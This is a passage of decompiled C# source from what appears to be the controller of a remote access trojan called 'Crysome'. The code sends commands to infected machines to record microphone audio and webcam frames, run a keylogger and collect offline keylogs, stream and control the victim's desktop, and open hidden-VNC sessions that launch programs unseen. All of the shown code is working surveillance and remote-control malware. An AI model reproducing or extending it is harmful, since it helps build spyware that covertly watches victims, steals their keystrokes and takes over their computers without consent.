RequestAudio(client, seconds, 0, onReceived);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RequestAudio(ClientInfo client, int seconds, int deviceIndex, Action<byte[]> onReceived)
|
|||
|
|
{
|
|||
|
|
//IL_0079: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0083: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onReceived == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Log("RequestAudio SENT to " + client.Address + " sec=" + seconds + " idx=" + deviceIndex, "MIC");
|
|||
|
|
_audioDataCallbacks[client.Owner] = onReceived;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new RequestAudioPacket(seconds, deviceIndex));
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("RequestAudio SEND FAIL: " + ex.Message, "MIC");
|
|||
|
|
_audioDataCallbacks.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RequestCameraFrame(ClientInfo client, int deviceIndex, Action<byte[]> onReceived)
|
|||
|
|
{
|
|||
|
|
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_005c: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onReceived == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Log("RequestCameraFrame SENT to " + client.Address + " idx=" + deviceIndex, "CAM");
|
|||
|
|
_cameraFrameCallbacks[client.Owner] = onReceived;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new RequestCameraFramePacket(deviceIndex));
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("RequestCameraFrame SEND FAIL: " + ex.Message, "CAM");
|
|||
|
|
_cameraFrameCallbacks.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void GetCameraDevices(ClientInfo client, Action<string[]> onReceived)
|
|||
|
|
{
|
|||
|
|
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0087: Expected O, but got Unknown
|
|||
|
|
//IL_00af: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00b9: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onReceived == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
CrysomeClient owner = client.Owner;
|
|||
|
|
Log("GetCameraDevices SENT to " + client.Address, "CAM");
|
|||
|
|
_cameraDevicesCallbacks[owner] = onReceived;
|
|||
|
|
DispatcherTimer timeout = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromSeconds(8L)
|
|||
|
|
};
|
|||
|
|
timeout.Tick += delegate
|
|||
|
|
{
|
|||
|
|
timeout.Stop();
|
|||
|
|
if (_cameraDevicesCallbacks.TryGetValue(owner, out var cb))
|
|||
|
|
{
|
|||
|
|
_cameraDevicesCallbacks.Remove(owner);
|
|||
|
|
Log("GetCameraDevices TIMEOUT (8s) " + client.Address, "CAM");
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
|
|||
|
|
if (dispatcher != null)
|
|||
|
|
{
|
|||
|
|
dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(new string[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
timeout.Start();
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new GetCameraDevicesPacket());
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("GetCameraDevices SEND FAIL: " + ex.Message, "CAM");
|
|||
|
|
_cameraDevicesCallbacks.Remove(owner);
|
|||
|
|
timeout.Stop();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void GetAudioDevices(ClientInfo client, Action<string[]> onReceived)
|
|||
|
|
{
|
|||
|
|
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0075: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0087: Expected O, but got Unknown
|
|||
|
|
//IL_00af: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_00b9: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onReceived == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
CrysomeClient owner = client.Owner;
|
|||
|
|
Log("GetAudioDevices SENT to " + client.Address, "MIC");
|
|||
|
|
_audioDevicesCallbacks[owner] = onReceived;
|
|||
|
|
DispatcherTimer timeout = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromSeconds(8L)
|
|||
|
|
};
|
|||
|
|
timeout.Tick += delegate
|
|||
|
|
{
|
|||
|
|
timeout.Stop();
|
|||
|
|
if (_audioDevicesCallbacks.TryGetValue(owner, out var cb))
|
|||
|
|
{
|
|||
|
|
_audioDevicesCallbacks.Remove(owner);
|
|||
|
|
Log("GetAudioDevices TIMEOUT (8s) " + client.Address, "MIC");
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
|
|||
|
|
if (dispatcher != null)
|
|||
|
|
{
|
|||
|
|
dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(new string[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
timeout.Start();
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new GetAudioDevicesPacket());
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("GetAudioDevices SEND FAIL: " + ex.Message, "MIC");
|
|||
|
|
_audioDevicesCallbacks.Remove(owner);
|
|||
|
|
timeout.Stop();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartKeylogger(ClientInfo client, Action<string> onLog)
|
|||
|
|
{
|
|||
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0034: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onLog == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_keyloggerCallbacks[client.Owner] = onLog;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StartKeyloggerPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_keyloggerCallbacks.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StopKeylogger(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0031: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_keyloggerCallbacks.Remove(client.Owner);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StopKeyloggerPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterChatHandler(ClientInfo client, Action<string, string> onMessage)
|
|||
|
|
{
|
|||
|
|
if (client?.Owner != null && onMessage != null)
|
|||
|
|
{
|
|||
|
|
_chatHandlers[client.Owner] = onMessage;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UnregisterChatHandler(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
if (client?.Owner != null)
|
|||
|
|
{
|
|||
|
|
_chatHandlers.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SendChatMessage(ClientInfo client, string message)
|
|||
|
|
{
|
|||
|
|
//IL_001f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0029: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || string.IsNullOrEmpty(message))
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new ChatMessagePacket(message));
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartAudioStream(ClientInfo client, int deviceIndex, Action<byte[]> onChunk)
|
|||
|
|
{
|
|||
|
|
//IL_0052: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_005c: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onChunk == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Log("StartAudioStream SENT to " + client.Address + " idx=" + deviceIndex, "MIC");
|
|||
|
|
_audioStreamHandlers[client.Owner] = onChunk;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StartAudioStreamPacket(deviceIndex));
|
|||
|
|
}
|
|||
|
|
catch (Exception ex)
|
|||
|
|
{
|
|||
|
|
Log("StartAudioStream SEND FAIL: " + ex.Message, "MIC");
|
|||
|
|
_audioStreamHandlers.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StopAudioStream(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0031: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_audioStreamHandlers.Remove(client.Owner);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StopAudioStreamPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartRemoteDesktop(ClientInfo client, int intervalMs, int screenIndex, byte captureMode, Action<byte[]> onFrame, Action<int> onQualityChange = null)
|
|||
|
|
{
|
|||
|
|
//IL_0074: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0079: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0080: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0087: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_008e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_009a: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onFrame == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_desktopFrameHandlers[client.Owner] = onFrame;
|
|||
|
|
if (onQualityChange != null)
|
|||
|
|
{
|
|||
|
|
_rdpQualityCallbacks[client.Owner] = onQualityChange;
|
|||
|
|
}
|
|||
|
|
RdpQualityState state = new RdpQualityState
|
|||
|
|
{
|
|||
|
|
IntervalMs = intervalMs
|
|||
|
|
};
|
|||
|
|
_rdpQualityStates[client.Owner] = state;
|
|||
|
|
StartRemoteDesktopPacket pkt = new StartRemoteDesktopPacket
|
|||
|
|
{
|
|||
|
|
IntervalMs = intervalMs,
|
|||
|
|
ScreenIndex = screenIndex,
|
|||
|
|
UdpPort = 0,
|
|||
|
|
SessionToken = 0u,
|
|||
|
|
CaptureMode = captureMode
|
|||
|
|
};
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)(object)pkt);
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_desktopFrameHandlers.Remove(client.Owner);
|
|||
|
|
_rdpQualityCallbacks.Remove(client.Owner);
|
|||
|
|
_rdpQualityStates.Remove(client.Owner);
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
CrysomeClient owner = client.Owner;
|
|||
|
|
Task.Run(delegate
|
|||
|
|
{
|
|||
|
|
for (int i = 1; i <= 3; i++)
|
|||
|
|
{
|
|||
|
|
Thread.Sleep(5000);
|
|||
|
|
if (!_desktopFrameHandlers.ContainsKey(owner) || state.LastFrameTime != DateTime.MinValue)
|
|||
|
|
{
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)(object)pkt);
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
break;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void GetScreens(ClientInfo client, Action<ScreensResponsePacket> onReceived)
|
|||
|
|
{
|
|||
|
|
//IL_003e: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0055: Expected O, but got Unknown
|
|||
|
|
//IL_007d: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0087: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onReceived == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
CrysomeClient owner = client.Owner;
|
|||
|
|
_screensCallbacks[owner] = onReceived;
|
|||
|
|
DispatcherTimer timeout = new DispatcherTimer
|
|||
|
|
{
|
|||
|
|
Interval = TimeSpan.FromSeconds(8L)
|
|||
|
|
};
|
|||
|
|
timeout.Tick += delegate
|
|||
|
|
{
|
|||
|
|
timeout.Stop();
|
|||
|
|
if (_screensCallbacks.TryGetValue(owner, out var cb))
|
|||
|
|
{
|
|||
|
|
_screensCallbacks.Remove(owner);
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
|
|||
|
|
if (dispatcher != null)
|
|||
|
|
{
|
|||
|
|
dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0010: Expected O, but got Unknown
|
|||
|
|
cb(new ScreensResponsePacket());
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
};
|
|||
|
|
timeout.Start();
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
owner.SendPacket((IPacket)new GetScreensRequestPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_screensCallbacks.Remove(owner);
|
|||
|
|
timeout.Stop();
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StopRemoteDesktop(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
//IL_0063: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_006d: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_desktopFrameHandlers.Remove(client.Owner);
|
|||
|
|
_rdpQualityCallbacks.Remove(client.Owner);
|
|||
|
|
_rdpQualityStates.Remove(client.Owner);
|
|||
|
|
server?.UnregisterUdpSession(client.Owner);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StopRemoteDesktopPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public List<CrysomeClient> GetClientSnapshot()
|
|||
|
|
{
|
|||
|
|
return server?.GetClientSnapshot() ?? new List<CrysomeClient>();
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UnregisterDesktopFrames(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
if (client?.Owner != null)
|
|||
|
|
{
|
|||
|
|
_desktopFrameHandlers.Remove(client.Owner);
|
|||
|
|
_rdpQualityCallbacks.Remove(client.Owner);
|
|||
|
|
_rdpQualityStates.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SendRemoteInput(ClientInfo client, byte kind, int x, int y, int buttonOrKey)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0014: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0033: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
RemoteInputPacket val = new RemoteInputPacket
|
|||
|
|
{
|
|||
|
|
Kind = kind,
|
|||
|
|
X = x,
|
|||
|
|
Y = y,
|
|||
|
|
ButtonOrKey = buttonOrKey
|
|||
|
|
};
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (kind == 0)
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacketUnreliable((IPacket)(object)val);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)(object)val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StartHvnc(ClientInfo client, int quality, int intervalMs, Action<byte[]> onFrame)
|
|||
|
|
{
|
|||
|
|
//IL_002c: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0031: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0038: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0044: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null || onFrame == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_hvncFrameHandlers[client.Owner] = onFrame;
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StartHvncPacket
|
|||
|
|
{
|
|||
|
|
Quality = quality,
|
|||
|
|
IntervalMs = intervalMs
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
_hvncFrameHandlers.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void StopHvnc(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
//IL_0027: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0031: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_hvncFrameHandlers.Remove(client.Owner);
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new StopHvncPacket());
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UnregisterHvncFrames(ClientInfo client)
|
|||
|
|
{
|
|||
|
|
if (client?.Owner != null)
|
|||
|
|
{
|
|||
|
|
_hvncFrameHandlers.Remove(client.Owner);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SendHvncInput(ClientInfo client, int msg, int wParam, int lParam)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0014: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_002b: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
HvncInputPacket val = new HvncInputPacket
|
|||
|
|
{
|
|||
|
|
Msg = msg,
|
|||
|
|
WParam = wParam,
|
|||
|
|
LParam = lParam
|
|||
|
|
};
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
if (msg == 512)
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacketUnreliable((IPacket)(object)val);
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)(object)val);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void SendHvncRunRequest(ClientInfo client, byte action, string path = null)
|
|||
|
|
{
|
|||
|
|
//IL_0016: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_001b: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0022: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0037: Expected O, but got Unknown
|
|||
|
|
if (client?.Owner == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
try
|
|||
|
|
{
|
|||
|
|
client.Owner.SendPacket((IPacket)new HvncRunRequestPacket
|
|||
|
|
{
|
|||
|
|
Action = action,
|
|||
|
|
Path = (path ?? "")
|
|||
|
|
});
|
|||
|
|
}
|
|||
|
|
catch
|
|||
|
|
{
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleHvncFrame(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0027: Expected O, but got Unknown
|
|||
|
|
if (_hvncFrameHandlers.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
HvncFramePacket p = (HvncFramePacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.ImageData ?? new byte[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleAudioData(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0094: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_009e: Expected O, but got Unknown
|
|||
|
|
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
|
|||
|
|
Log("AudioData RECV from " + text, "MIC");
|
|||
|
|
if (!_audioDataCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
Log("AudioData no callback for " + text, "MIC");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_audioDataCallbacks.Remove(sender);
|
|||
|
|
AudioDataPacket p = (AudioDataPacket)packet;
|
|||
|
|
byte[] wavData = p.WavData;
|
|||
|
|
Log("AudioData " + ((wavData != null) ? wavData.Length : 0) + " bytes from " + text, "MIC");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.WavData ?? new byte[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleCameraFrame(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0094: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_009e: Expected O, but got Unknown
|
|||
|
|
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
|
|||
|
|
Log("CameraFrame RECV from " + text, "CAM");
|
|||
|
|
if (!_cameraFrameCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
Log("CameraFrame no callback for " + text, "CAM");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_cameraFrameCallbacks.Remove(sender);
|
|||
|
|
CameraFramePacket p = (CameraFramePacket)packet;
|
|||
|
|
byte[] jpegData = p.JpegData;
|
|||
|
|
Log("CameraFrame " + ((jpegData != null) ? jpegData.Length : 0) + " bytes from " + text, "CAM");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.JpegData ?? new byte[0]);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleKeylogData(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0082: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_008c: Expected O, but got Unknown
|
|||
|
|
ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
if (info != null && !info.KeyloggerActive)
|
|||
|
|
{
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
info.KeyloggerActive = true;
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
if (_keyloggerCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
KeylogDataPacket p = (KeylogDataPacket)packet;
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.Data ?? "");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void RegisterOfflineKeylogCallback(CrysomeClient client, Action<string, bool> cb)
|
|||
|
|
{
|
|||
|
|
_offlineKeylogCallbacks[client] = cb;
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public void UnregisterOfflineKeylogCallback(CrysomeClient client)
|
|||
|
|
{
|
|||
|
|
_offlineKeylogCallbacks.TryRemove(client, out var _);
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleOfflineKeylogData(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_000f: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0019: Expected O, but got Unknown
|
|||
|
|
OfflineKeylogDataPacket p = (OfflineKeylogDataPacket)packet;
|
|||
|
|
ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
if (_offlineKeylogCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(p.Data ?? "", arg2: true);
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
else
|
|||
|
|
{
|
|||
|
|
if (info == null)
|
|||
|
|
{
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
Application current = Application.Current;
|
|||
|
|
if (current != null)
|
|||
|
|
{
|
|||
|
|
((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
info.AppendOfflineKeylog(p.Data ?? "");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleChatMessage(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0033: Expected O, but got Unknown
|
|||
|
|
if (_chatHandlers.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
ChatMessagePacket p = (ChatMessagePacket)packet;
|
|||
|
|
ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
|
|||
|
|
string from = ((clientInfo != null) ? clientInfo.Address : "?");
|
|||
|
|
((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
|||
|
|
{
|
|||
|
|
cb(from, p.Message ?? "");
|
|||
|
|
}, Array.Empty<object>());
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private void HandleCameraDevicesResponse(CrysomeClient sender, IPacket packet)
|
|||
|
|
{
|
|||
|
|
//IL_0093: Unknown result type (might be due to invalid IL or missing references)
|
|||
|
|
//IL_0099: Expected O, but got Unknown
|
|||
|
|
string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
|
|||
|
|
Log("CameraDevicesResponse RECV from " + text, "CAM");
|
|||
|
|
if (!_cameraDevicesCallbacks.TryGetValue(sender, out var cb))
|
|||
|
|
{
|
|||
|
|
Log("CameraDevicesResponse no callback for " + text, "CAM");
|
|||
|
|
return;
|
|||
|
|
}
|
|||
|
|
_cameraDevicesCallbacks.Remove(sender);
|
|||
|
|
CameraDevicesResponsePacket val = (CameraDevicesResponsePacket)packet;
|
|||
|
|
